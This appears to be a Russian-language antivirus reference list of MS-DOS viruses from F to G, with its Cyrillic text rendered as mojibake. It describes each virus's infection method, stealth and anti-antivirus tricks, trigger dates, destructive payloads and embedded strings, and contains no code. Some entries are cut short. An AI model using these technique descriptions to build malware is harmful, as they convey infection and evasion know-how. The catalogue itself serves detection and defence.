Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñò "FAIRGROUND (c)
BlackFlash!".
Fans.500, 560
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ñîäåðæàò òåêñòû:
Fans.500 - Fans Ver 0.00
Fans.560 - Fans Ver 0.01
Fanthomas.1443
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Èíôèöèðîâàííûå EXE-ôàéëû çàðàæàþò
MBR æåñòêîãî äèñêà, à èíôèöèðîâàííûå COM-ôàéëû óñòàíàâëèâàþò â ïàìÿòü
ðåçèäåíòíóþ êîïèþ è "ïåðåõâàòûâàþò" INT 13h, 21h. 21 èþëÿ âèðóñ
"ïåðåãðóæàåò" ñèñòåìó. Ñîäåðæèò òåêñò "-=¨FANTHOMAS vir. 1.0¢(c)
Szczecinek¢Dla Izy W. z Bestwiny¨=-".
Fantomas.432
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ.  íå÷åòíûå ìåñÿöû óíè÷òîæàåò ïåðâûå 16
ñåêòîðîâ ëîãè÷åñêèõ äèñêîâ D:, E:, F: è âûâîäèò òåêñò "FANTOMAS".
Farside.3008
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà, à òàêæå 6 àïðåëÿ âûâîäèò òåêñò:
For cryin'out loud! My circuits are haunted by the ghost of a porcupine. . .
Ñîäåðæèò òàêæå ñòðîêó "FARSIDE virus 1.00 (C) Windom Earle ROMANIA".
Fascist.442
Çàðàæàåò *.COM ôàéëû, ïðîèçâîäÿ ïîèñê èõ íà âñåõ äîñòóïíûõ óñòðîéñòâàõ
æåñòêîãî äèñêà â òåêóùèõ êàòàëîãàõ. Ñ íîÿáðÿ âûâîäèò â ãðàôè÷åñêîì
âèäåîðåæèìå èçîáðàæåíèå ðîññèéñêîãî ôëàãà, çíàêà "=" è ôàøèñòñêîé
ñâàñòèêè.
FATAvenger
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ñîäåðæèò òåêñò:
THIS PROGRAM WAS WRITTEN IN INDIA.(c)1993 FAT AVENGER
PS. this program is not meant to be destructive
Favour.2576, 2608
Î÷åíü îïàñíûå ðåçèäåíòíûå ñòåëñ-âèðóñû. Favour.2608 ïîñëå 8 èþëÿ 1995
ãîäà èçìåíÿåò â íåêîòîðûõ EXE-ôàéëàõ ñèãíàòóðó 'MZ' íà íóëè; èíîãäà
"ãàñèò" ýêðàí; ñîäåðæèò òåêñòîâóþ ñòðîêó "FAVOUR". Favour.2576 íà÷èíàÿ
ñ èþëÿ 1995 ãîäà, åñëè çíà÷åíèå ñåêóíä ñèñòåìíîãî âðåìåíè áîëüøå 10,
ïðè çàêðûòèè ôàéëîâ (íå â ôîðìàòå EXE), ôàéëîâûé ìàíèïóëÿòîð (file
handler) êîòîðûõ èìååò çíà÷åíèå áîëüøå, ÷åì 5, âèðóñ óíè÷òîæàåò 4
ïåðâûõ áàéòà äàííûõ ôàéëîâ. Èíîãäà ìîæåò âûçûâàòü ïå÷àòü ýêðàíà íà
ïðèíòåð (Int 5 Print Screen). Ñîäåðæèò çàøèôðîâàííîå ñëîâî "KVITOK".
FaXFree.Abstract
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "MOSQUITO DOS 7.00 NODOSACT
SPECIAL THANKS TO MAXCC (c)91-92 rel.2soon ABSTRACTSPACE P. 0.98 Rev 4
24IX89 bye bye Copy at your own risk".
FaXFree.Fam
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ìîæåò çàïèñàòü â çàãðóçî÷íûé ñåêòîð òåêóùåãî
äèñêà òðîÿíñêèé êîä. Èíîãäà âûâîäèò òåêñò:
Umb ho utilizzato solo il virwork di DarkOver bye bye
Fago_T2 new name 2/4/92
Òàêæå ñîäåðæèò òåêñòû:
Work Area stopHello this is the core Rev 5 5/17/91 P 1c
Fago_T2 data add 0022 year 0025
Fago_T2 count add 0027 cs 002b
FAM Associates. Kill with us F.A. from PE, Italy. Help us!
Fcl.2044
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñò "[FCL virus ]
Nice Meet You See AgainNO WORK LAW".
Fellow.1019
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Â ñåíòÿáðå ïðè ñòàðòå ëþáîé ïðîãðàììû
âûâîäèò òåêñò:
This message is dedicated to
all fellow PC users on Earth
Towards A Better Tomorrow
And A Better Place To Live In
Fence.2089
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïîñëå 10000 íàæàòèé íà êëàâèøè
ìîæåò ïðîèãðàòü ìåëîäèþ è â ýòî âðåìÿ èçìåíÿòü ñòðî÷íûå áóêâû íà
ïðîïèñíûå íà ýêðàíå ìîíèòîðà.
FFC.1000
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà ïîìåùàåò â ñëóæåáíóþ
ÿ÷åéêó ïàìÿòè êëàâèàòóðû 0040:001Ah çíà÷åíèå 0FFh.
Ffff.432
Îïàñíûé ðåçèäåíòíûé âèðóñ. 13 ñåíòÿáðÿ óíè÷òîæàåò 13 ñåêòîðîâ äèñêà C:.
FifteenYears (1,2)
Îïàñíûå çàãðóçî÷íûå øèôðîâàííûå âèðóñû. 7 àïðåëÿ âèðóñû óíè÷òîæàþò
ñîäåðæèìîå ñåêòîðîâ äèñêîâ, çàïèñûâàÿ â íèõ òåêñò "Esto te pasa por
programas que a nosotros nos cuesta tanto trabajo hacer. Que te quede
de Experiencia, MÂxico,1994". Òàêæå ñîäåðæàò òåêñò "This Virus is from
MEXICO, I have 15 years old".
Filler (1-3)
Îïàñíûå çàãðóçî÷íûå ñòåëñ - âèðóñû. Ïðè çàðàæåíèè ôëîïïè - äèñêîâ
ôîðìàòèðóþò äîïîëíèòåëüíóþ äîðîæêó, íà êîòîðóþ çàïèñûâàþò ñâîé êîä è
îðèãèíàëüíûé çàãðóçî÷íûé ñåêòîð.Ïðè çàïóñêå COMMAND.COM,âèðóñû êîïèðóþò
ñâîè ðåçèäåíòíûå êîïèè â îáëàñòü "íèæíèõ" àäðåñîâ ïàìÿòè. Ìîãóò âûâåñòè
íà ýêðàí òåêñò:
Haha,várus van a gÂpben!!
Ez egy eddig mÂg nem kÔzismert várus. De hamarosan az lesz.
A neve egyszerÁen tÔltÔgetÔ
Ezt a nevÂt onnan kapta, hogy feltÔltÔgeti a FAT-tàblàt
kÔlÔnbÔzÔ alakzatokkal.
Ez màr meg is tÔrtÂnt !!!
Ïîñëå ýòîãî ðàçðóøàþò FAT,"ðèñóÿ" â ñåêòîðàõ êîòîðîé ñëåäóþùóþ êàðòèíó:
****** ******
* ** *
* * * ** * * *
* ** *
* **** ** **** *
* * * *
**** ****
Find.229, 512, 600, Find.BigX
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Çàðàæàþò ôàéëû ïðè âûçîâå ôóíêöèé
FindFirst, FindNext (f.11h,12h,4Eh,4Fh INT 21h). Find.BigX íå çàðàæàåò
ôàéëû, íà÷èíàþùèåñÿ íà SC èëè AI. Îí ñîäåðæèò ñòðîêó [BigX].
FinnPoly.2179
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïî âîçìîæíîñòè óñòàíàâëèâàåò
ñâîþ ðåçèäåíòíóþ êîïèþ â îáëàñòü UMB. Ñîçäàåò ðàñøèôðîâùèê âèðóñíîãî
êîäà â îáëàñòè ïðîãðàììíîãî êîäà, ïîñëå ÷åãî ïåðåäàåò åìó óïðàâëåíèå ñ
ïîìîùüþ êîìàíäû CALL SP. Äàííàÿ êîìàíäà íåêîððåêòíî ðàáîòàåò íà
êîìïüþòåðàõ ñ ïðîöåññîðîì i386. Âèðóñ ðàçìíîæàòüñÿ íà òàêèõ êîìïüþòåðàõ
íå ñìîæåò, è ñêîðåå âñåãî, "çàâåñèò" ñèñòåìó. Âèðóñ óäàëÿåò ôàéëû:
ANTI-VIR.DAT, AV.CRC, AVP.CRC, CHKLIST.CPS, CHKLIST.MS, MSAV.CHK. Åñëè
çíà÷åíèå äíÿ ðàâíî çíà÷åíèþ ìåñÿöà, òî âèðóñ âûâîäèò òåêñò:
First.343
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "First 1.1 Copyright (c)
1997 DataLife+ Corp.".
First.3032, 3173
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. "Ïåðåõâàòûâàþò" INT 9,13h, 1Ch, 21h, 28h.
Âûâîäÿò íà ýêðàí ìåëüêàþùóþ ñòðîêó "1st".
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º EBOLA@RNA1.polymorphic.virus.FI º
º º
º (c) 1995 KL / LAN Vision º
º MH / Data Fellows Ltd º
º º
º (fax +358-0-478 44 599 to get an antivirus program) º
º º
º DISCLAIMER: THIS PROGRAM HAS BEEN SPREAD "AS IS", SO NO WARRANTY OF ANY KIND º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Fish#6 (1-5)
Ðåçèäåíòíûå îïàñíûå øèôðîâàííûå ñòåëñ-âèðóñû. Øèôðóþò ñâîé êîä íå
òîëüêî â ôàéëàõ, íî è â ïàìÿòè, èñïîëüçóÿ íåêîòîðûå àíòèîòëàäî÷íûå
ïðèåìû. Fish#6 (2), ïðè ñîâïàäåíèè çíà÷åíèÿ òåêóùåãî äíÿ ñî çíà÷åíèåì
ìåñÿöà, óíè÷òîæàåò ñîäåðæèìîå æåñòêîãî äèñêà. Ñ 1991 ãîäà âèðóñû ïðè
ñòàðòå âûâîäÿò ñîîáùåíèå:
FISH VIRUS #6 - EACH DIFF - BONN 2/90"
è "âåøàþò" ñèñòåìó. Ñîäåðæàò òàêæå òåêñòû "COD", "SHARK", "CARP",
"BASS", "TROUT", "MUSKYZ", "SOLE", "PIKE", "MACKEREL", "FISH", "TUNA",
"FISH FI","Don't trouble trouble until trouble troubles you.","(c)Fly".
Fisher.1100, 2420
Ðåçèäåíòíûå âèðóñû. Fisher.2420 - îïàñåí, ïðè âûâîäå íà ïå÷àòü, äàííûé
âèðóñ âûâîäèò ïîñëå çíàêîâ ïðåïèíàíèé íåöåíçóðíûå ñëîâå÷êè. Fisher.1100
ìîæåò âûâåñòè òåêñò "(c) Copyright 1992 by Fisher. Version 3.0 . PUNK-
ROCK & BEER FOREVER !". Fisher.2420 ñîäåðæèò òåêñò "(c) Copyright 1991-
92 by Fisher. Version 2.0 .Èäåÿ ýôôåêòîâ íà ïðèíòåðå - ÄÀÑ-2, êîìíàòà
1405 .".
Fist.709, 711
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò òåêñò "I am a stranger in a
strange land..." èëè "Screaming Fist".
Fisu
Íåîïàñíûé çàãðóçî÷íûé øèôðîâàííûé âèðóñ. Ñîäåðæèò ñòðîêó ""FISU"".
Flagyll.349
Íåîïàñíûé ðåçèäåíòíûé âèðóñ-ñïóòíèê. 3 íîÿáðÿ âûâîäèò ñîîáùåíèå
"DID YOU VOTE, SHITHEAD??".
Flagyll.316, 369
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Çàïèñûâàþò ñâîé êîä â íà÷àëî EXE-
ôàéëîâ, íå ñîõðàíÿÿ ïðîãðàììíûé êîä. Ñîäåðæàò òåêñòîâûå ñòðîêè
"-=[Crypt Newsletter 13]=-", "Flagyll".
Flame (1-3)
Îïàñíûå Boot-âèðóñû. Îðèãèíàëüíûé MBR íå ñîõðàíÿþò, íà äèñêåòàõ Boot-
ñåêòîð ñîõðàíÿåò ïî àäðåñó: ãîëîâêà-1, öèëèíäð-25, ñåêòîð-1, óíè÷òîæàÿ
äàííûå â äàííîì ñåêòîðå. Èíîãäà ðèñóþò íà ýêðàíå êàðòèíêó ïîõîæóþ íà
ïëàìÿ.
Flex.491
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 17 ÷èñëà ïîñëå 22.00 ïðè íàæàòèè íà
êëàâèøó "Del" âûâîäèò ñîîáùåíèå "Flex-It-Up gal! Time to have sex!".
Èìååò òàêæå ñòðîêè "Admiral Bailey", "[FLEX]".
Flip.2153, 2343, 2365
Íåîïàñíûå ôàéëîâî-çàãðóçî÷íûå ïîëèìîðôíûå âèðóñû. Çàðàæàþò MBR æåñòêîãî
äèñêà è COM, EXE-ôàéëû. 2 ÷èñëà ìåñÿöà âèðóñ "ïåðåâîðà÷èâàåò" ýêðàí.
Ëåâûé âåðõíèé óãîë ýêðàíà îêàçûâàåòñÿ â ïðàâîì íèæíåì óãëó. Flip.2343,
2365 ïðîèçâîäÿò ïîèñê â êàæäîì èíôèöèðóåìîì ôàéëå ïîñëåäîâàòåëüíîñòè
êîìàíä:
MOV DX,Data1
MOV Data2,DX
MOV DX,Data3
MOV Data4,DX
è èçìåíÿþò èõ íà âûçîâ INT 9Fh (CD 9F). Äàííàÿ ïîñëåäîâàòåëüíîñòü
êîìàíä èñïîëüçóåòñÿ â êîìàíäíîì ïðîöåññîðå COMMAND.COM ïðè âûâîäå íà
ýêðàí ðåçóëüòàòîâ äëèí ôàéëîâ ïîñëå ïîèñêà ôàéëîâ (ôóíêöèè (FindFirst,
FindNext). Âèðóñû "ïåðåõâàòûâàþò" INT 9Fh è ïðè âûçîâå äàííîãî
ïðåðûâàíèÿ óìåíüøàþò ïîëó÷åííîå çíà÷åíèå äëèíû ôàéëà íà âåëè÷èíó
âèðóñíîãî êîäà. Ñîäåðæàò òåêñò "OMICRON by PsychoBlast".
Floyd.1542
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà âûâîäèò ñîîáùåíèå:
Now life devalues day by day, as friends and neighbours turn away,
And there's a change, that even with regret, cannot be undone...
PiNK FLOYD, The Division Bell.
MCH' 97
[Any Key]
Òàêæå ñîäåðæèò ñòðîêè "FLOYD ViRUS v.1.01.095", "MCH".
Fly.1769
Ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Èíîãäà ïåðåõâàòûâàåò INT 1Ch (òàéìåð) è
ïðîèãðûâàåò êàêóþ-òî ìåëîäèþ. Ñîäåðæèò ñòðîêó "Fly 1.1".
Fm.765
Ñîäåðæèò ñòðîêè "MsDos", "COMMAND", "FMCIKLMOFR".
Fog.AirRaid.1728, 1731 (1,2)
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ñîäåðæàò òåêñò "Air Raid in
the [Fog 1.0]".
Folks.618
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Íå èíñòàëëèðóåòñÿ â ïàìÿòü åñëè òåêóùèé
êàòàëîã ñîäåðæèò ïîäêàòàëîã \LAN. Â 0.00, 3.00, 6.00 è 9.00 âûâîäèò
òåêñò "THAT'S ALL, FOLKS !".
Forever.896
Íå çàðàæàåò ïðîãðàììó AIDSTEST. Ñîäåðæèò ñòðîêè "No WINDOWS, MS-DOS
forever...", "Excuse Me, please...".
Forever.930
Íå çàðàæàåò ïðîãðàììû AIDSTEST.EXE è ADINF.EXE. Ñîäåðæèò çàøèôðîâàííûé
òåêñò "No WINDOWS, MS-DOS forever...".
Form (1-4)
Îïàñíûå âèðóñû. Ìîãóò óíè÷òîæèòü äàííûå íà æåñòêîì äèñêå. Ñîäåðæàò
ñòðîêó "The FORM-Virus sends greetings to everyone who's reading this
text. FORM doesn't destroy data! Don't panic! Fuckings go to Corinne.".
Frankenstein
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ. Çàðàæàåò MBR âñåõ æåñòêèõ äèñêîâ,
óñòàíîâëåííûõ â êîìïüþòåðå. "Ïåðåõâàòûâàåò" INT 8, 12h, 13h. Ìîæåò
óíè÷òîæèòü ñîäåðæèìîå ñåêòîðîâ æåñòêèõ äèñêîâ. Ñîäåðæèò òåêñòû:
ßrÅäkÊästÊËä's MÅgËc v1.00a (C) Copyright 1992, Megatrends 2000 Corp.
ThÊ JÔhÅä ßÅmËly
---- HISTORY ---
I born at 11 October 1992 - 7 pm o'clock.
My mission is make all Diskette DESTROY if my 3 Counter same.
My name is ßrÅnkÊnstÊËn's MÅgËc v1.00a
my Copyright is (C) Copyright 1992, Megatrends 2000 Corp.
ThÊ JÔhÅä ßÅmËly is my best family.
WARNING : I will DESTROY you disk if touch me!!!
if you want my listing, please write you name in MikroData
this change only three times. I protect you HardDisk from
Illegal hand and I count my children, Good bye.
Freddy.1663
Îïàñíûé çàøèôðîâàííûé íåðåçèäåíòíûé âèðóñ. Ìîæåò óäàëèòü ôàéëû ñ
ðàñøèðåíèÿìè, îòëè÷íûìè îò COM, EXE, SYS. Ñîäåðæèò òåêñò:
FREDDY_SOFT
jln lobilobi blok Q27 Kalibata indah JAKARTA Selatan
Greetings to STACK RIPPER, DOUBLE CLICK, SINGLE DRIVE
COMEXESYSAUTOEXEC.BATIBMBIO.COMIBMDOS.COM
Freddy.1870
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò ôàéë COMMAND.COM ïî àëãîðèòìó
âèðóñà Lehigh, ò.å., äëèíà COMMAND.COM íå èçìåíÿåòñÿ. Ìîæåò çàòåðåòü
ñåêòîðà äèñêà ñòðîêîé "Freddy Krg".
Freddy.2271
Îïàñíûé ïîëèìîðôíûé ðåçèäåíòíûé âèðóñ. Èíîãäà ïðè çàïèñè â ôàéëû (f.40h
INT 21h) èçìåíÿåò ñëó÷àéíûé áàéò. Ñîäåðæèò òåêñòîâûå ñòðîêè "Fridrik!"
è "Freddy KRueGer 2.1".
Freedom.2448, 2560, 3600
Î÷åíü îïàñíûå ðåçèäåíòíûå çàøèôðîâàííûå âèðóñû. Ïðè îáíàðóæåíèè ñëîâ
"âîåí", "àðìè", "ñîëäàò", "îðóæ", "âîåíêîì", "ïîëêîâíèê", "ïðèçûâí",
"âîîðóæåí" âèðóñ óíè÷òîæàåò ñëó÷àéíûå ñåêòîðà íà æåñòêîì äèñêå
(Freedom.2560, 3600) èëè âñå ñåêòîðà (Freedom.2448), çàïèñûâàÿ â íèõ
ôðàçó "Çàêîí î âñåîáùåé âîèíñêîé îáÿçàííîñòè - ÃÐÓÁÅÉØÅÅ ÍÀÐÓØÅÍÈÅ ïðàâ
×åëîâåêà !". Ñîäåðæàò òåêñòû "COMMAND AIDS .EXE .COM", "F R E E D O M",
"ÏÎÌÍÈÒÅ - ÓÍÈ×ÒÎÆÈ ÝÒÓ ÏÐÎÃÐÀÌÌÓ ÈËÈ ÅÅ ÑÎÇÄÀÒÅËß, ÂÛ ÓÍÈ×ÒÎÆÈÒÅ
ÑËÅÄÑÒÂÈÅ, ÍÎ ÍÅ ÏÐÈ×ÈÍÓ ...", à òàêæå:
Freedom.2448:
ÂâÎîÅåÍí ÑñÎîËëÄäÀàÒò ÎîÐðÓóÆæ
Ñ Â Î Á Î Ä À * 1.45/2/01.02.1995
Freedom.2560:
ÂâÎîÅåÍí ÀàÐðÌìÈè ÑñÎîËëÄäÀàÒò
Ñ Â Î Á Î Ä À * 1.00/1/18.9.1994
Freedom.3600:
Ñ Â Î Á Î Ä À * 2.15/3/09.05.1995
ÂâÎîÅåÍíÊêÎîÌì ÏïÎîËëÊêÎîÂâÍíÈèÊê ÏïÐðÈèÇçÛûÂâÍí ÂâÎîÎîÐðÓóÆæÅåÍí
Ëþáîé ×åëîâåê èìååò ïðàâî íà Ñ Â Î Á Î Ä Ó, ïðàâî Æ È Ò Ü,
ïðàâî Í Å Ó Á È Â À Ò Ü.
Çàêîí î âñåîáùåé âîèíñêîé îáÿçàííîñòè ËÈØÀÅÒ ×åëîâåêà âñåõ ýòèõ ïðàâ.
Fricker.395
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ.  äåâÿòîì ÷àñó óòðà âûâîäèò íà ýêðàí
òåêñò "FRICKER-1 is glad to meet YOU!".
Frodo.4096 (1,2)
Îïàñíûå ðåçèäåíòíûå ñòåëñ-âèðóñû. Ïîñëå 21 ñåíòÿáðÿ äîëæíû çàïèñûâàòü â
MBR êîä, âûâîäÿùèé íà ýêðàí ñëåäóþùèé òåêñò:
ÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛ
Û Û
Û Û
Û
ÛÛÛÛÛ ÛÛÛÛ ÛÛÛ ÛÛÛÛ ÛÛÛ Û
Û Û Û Û Û Û Û Û Û Û Û
Û Û Û Û Û Û Û Û Û Û Û
Û ÛÛÛÛ ÛÛÛÛÛ Û Û Û Û Û Û
Û Û Û Û Û Û Û Û Û Û
Û Û Û Û ÛÛÛ ÛÛÛÛ ÛÛÛ Û
Û Û
Û
Û Û Û Û ÛÛÛÛÛ ÛÛÛ ÛÛ Û
Û Û Û Û Û Û Û Û ÛÛ Û
Û Û Û Û Û Û Û ÛÛ Û
Û Û Û Û Û ÛÛÛÛ ÛÛÛ ÛÛ
Û Û Û Û Û Û ÛÛ Û
Û Û Û Û Û Û Û Û Û
Û ÛÛÛÛ Û Û ÛÛÛÛÛ ÛÛÛ ÛÛ Û
Û
Û
Û Û
Û Û
Û
ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ
FrodoSoft.590
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "(c) fotos rofd".
Fsmm.2971
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Âíåäðÿåò âèðóñíûé êîä ñðàçó çà
çàãîëîâêîì EXE-ôàéëà,çàøèôðîâàâ è ïåðåìåñòèâ ïðåäâàðèòåëüíî ïðîãðàììíûé
êîä â êîíåö ôàéëà. Èç-çà îøèáêè â âèðóñå íåêîòîðûå èíôèöèðîâàííûå ôàéëû
âîññòàíîâëåíèþ íå ïîäëåæàò. Òàêèå ôàéëû ïðè ñòàðòå, êàê ïðàâèëî,
"âåøàþò" ñèñòåìó. Âèðóñ ñîäåðæèò òåêñò "Fire/Space version 1.0, from
Íîâãîpîä, with FSMM v1.0(Fire/Space Mutant Machine)".
Fumble.867
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Îñòàâëÿåò â ïàìÿòè ðåçèäåíòíûé êîä "íà INT
16h", êîòîðûé ïîäìåíÿåò íåêîòîðûå ñèìâîëû, ââîäèìûå ñ êëàâèàòóðû.
Ñîäåðæèò ñòðîêó "V1".
Funky.692
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èùåò â COM-ôàéëàõ ïîñëåäîâàòåëüíîñòü 692óõ
ïîâòîðÿþùèõñÿ áàéò è åñëè íàõîäèò åå, òî âíåäðÿåò ñâîé êîä â äàííîå
ìåñòî ôàéëà. Åñëè äàííîé ïîñëåäîâàòåëüíîñòè íåò, òî âèðóñ çàðàæàåò ôàéë
ñòàíäàðòíûì ñïîñîáîì. Ïðè íàæàòèè íà Ctrl-Alt-Del èçäàåò íåêîòîðûå
ìóçûêàëüíûå çâóêè.
Future.3180
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò COMMAND.COM è ôàéëû íà ôëîïïè-
äèñêàõ. Ñîäåðæèò çàøèôðîâàííûå òåêñòû:
COMSPEC=C:\COMMAND.COM command.com \ARJ. .COM .com .EXE .exe \AIN.
\ain. \RAR. \MSAV. C:\COMMAND.COM
Terminator Model 1.3 *Future Virus*
Fy.338
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Åñëè âèðóñ íå íàõîäèò *.COM-ôàéëû äëÿ
çàðàæåíèÿ, òî îí ïûòàåòñÿ ïîëîæèòü â áóôåð êëàâèàòóðû íåöåíçóðíîå
âûðàæåíèå íà àíãëèéñêîì ÿçûêå "F... YOU".
Fynov.4309
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà âûâîäèò íà âåñü ýêðàí ïðè
íåêîòîðûõ îøèáêàõ àíãëèéñêîå íåöåíçóðíîå âûðàæåíèå.Ïðè ñòàðòå ïðîãðàììû
*ST (AIDSTEST) èíîãäà âûâîäèò òåêñò "No viruses". ÏÐè ñòàðòå ïðîãðàììû
*BO (?) "ïåðåõâàòûâàåò" INT 17h è ìîæåò ïðè âûâîäå íà ïðèíòåð âñòàâèòü
óæå ðóññêîå íåïîòðåáíîå ñëîâî. Èíîãäà èãíîðèðóåò íàæàòèå íà êëàâèøè.
Galicia (1,2)
Îïàñíûå çàãðóçî÷íûå âèðóñû. 22 ìàÿ ïîñëå 12.00 âûâîäÿò òåêñò "Galicia
contra telefonica!" è ôîðìàòèðóþò ïåðâûé öèëèíäð ïåðâîãî æåñòêîãî
äèñêà.
Gallery.631, 782
Ñîäåðæàò ñòðîêó "Art Gallery++".
Galya.500 (1,2)
Î÷åíü îïàñíûé âèðóñ. 17 äåêàáðÿ óíè÷òîæàåò ïî 255 ñåêòîðîâ íà 3
ëîãè÷åñêèõ ðàçäåëàõ æåñòêîãî äèñêà, âûâîäèò òåêñò "Today is GALYA'S
birthday" è "âåøàåò" ñèñòåìó. Äóìàþ, ÷òî Ãàëÿ î÷åíü îáðàäóåòñÿ, óâèäåâ
íà ýêðàíå ñâîåãî êîìïüþòåðà äàííîå ïîçäðàâëåíèå â ñâîé äåíü ðîæäåíèÿ.
Íåïëîõîé ïîäàðîê.
GCAE-âèðóñû
GCAE (Golden Cicada Abnormal Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñîçäàí âèðóñîïèñàòåëåì ïî "êëè÷êå" Golden
Cicada in Taipei, Taiwan. Ãåíåðàòîð ñîäåðæèò òåêñò "[GCAE] v1.0".
GCAE.Demo
Íåîïàñíûé äåìîíñòðàöèîííûé âèðóñ äàííîãî ãåíåðàòîðà, ðàñïðîñòðàíÿåìûé â
êîìïëåêòå ñ íèì â âèäå ôàéëà è èñõîäíîãî òåêñòà.
GCAE.Vimg
Ñ äåêàáðÿ 1995 ãîäà ïðè ñòàðòå âèðóñà áóäåò âûâîäèòü íà ýêðàí òåêñò:
[Mind Fucker]
By HERETiX & WiLD D0G,[ViMG]
WiLD D0G Ira
Ñîäåðæèò òàêæå òåêñòîâóþ ñòðîêó "//UCL".
Gentry.1570
12 èþíÿ âûâîäèò íà ýêðàí òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ ¦
¦ ¦
¦ Ñ ÏÐÀÇÄÍÈÊÎÌ ÃÎÑÏÎÄÀ ! ¦
¦ ¦
¦ ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Getto.2000
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. 8, 16 è 24 ÷èñëà ìåñÿöà ìîæåò
óäàëèòü ôàéëû C:\IO.SYS, C:\MSDOS.SYS, C:\CONFIG.SYS è âûâåñòè òåêñò:
DOS/4GW Professional Protected Mode Run-time Version 1.95
Copyright (c) Rational Systems, Inc. 1990-1993
Getto Virus Version 1.0ñ Copyright (C) 1995,96 by Geci Ïllat
This Getto requirest 80286 or better processor
Formating Hard Disk #1 [...................]
Formating Hard Disk #2 [...................]
Ready.
gEtTo Always the Best! MS-SUX Destroyer
Ñîäåðæèò òåêñò "Tested with F-Prot v2.22 and TBAV700".
Gexa.2324
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ
êîïèþ â îáëàñòü UMB. Ïðè ñòàðòå ïðîãðàììû, íà÷èíàþùåéñÿ íà AIDS - âèðóñ
âûâîäèò òåêñò "Íå ïîìîæåò!". Ïðè ââîäå ñ êëàâèàòóðû ñëîâà "gexa ",
âèðóñ ïîìåùàåò â áóôåð êëàâèàòóðû ôðàçó "- i am here!", ïðè ââîäå
"yalta " - ôðàçó "- nice town..!" è îáåçâðåæèâàåò ïðè ýòîì ñâîé
ðåçèäåíòíûé îáðàáîò÷èê INT 21h.
Ginger.2691
Íåçíà÷èòåëüíî îòëè÷àåòñÿ îò Ginger.2774 (ñì. íèæå). Ñîõðàíÿåò àäðåñ
îðèãèíàëüíîãî Boot-ñåêòîðà, íî òîëüêî ãîëîâêó è ñåêòîð. Çíà÷åíèå æå
öèëèíäðà íå ïðîâåðÿåò, ñ÷èòàÿ, ÷òî îí âñåãäà äîëæåí áûòü - 0. Åñëè æå
çíà÷åíèå öèëèíäðà îòëè÷àåòñÿ îò íóëÿ, òî çàãðóçêà îïåðàöèîííîé ñèñòåìû
ñ æåñòêîãî äèñêà íà òàêîì êîìïüþòåðå ñòàíîâèòñÿ íåâîçìîæíîé.
Ginger.2774
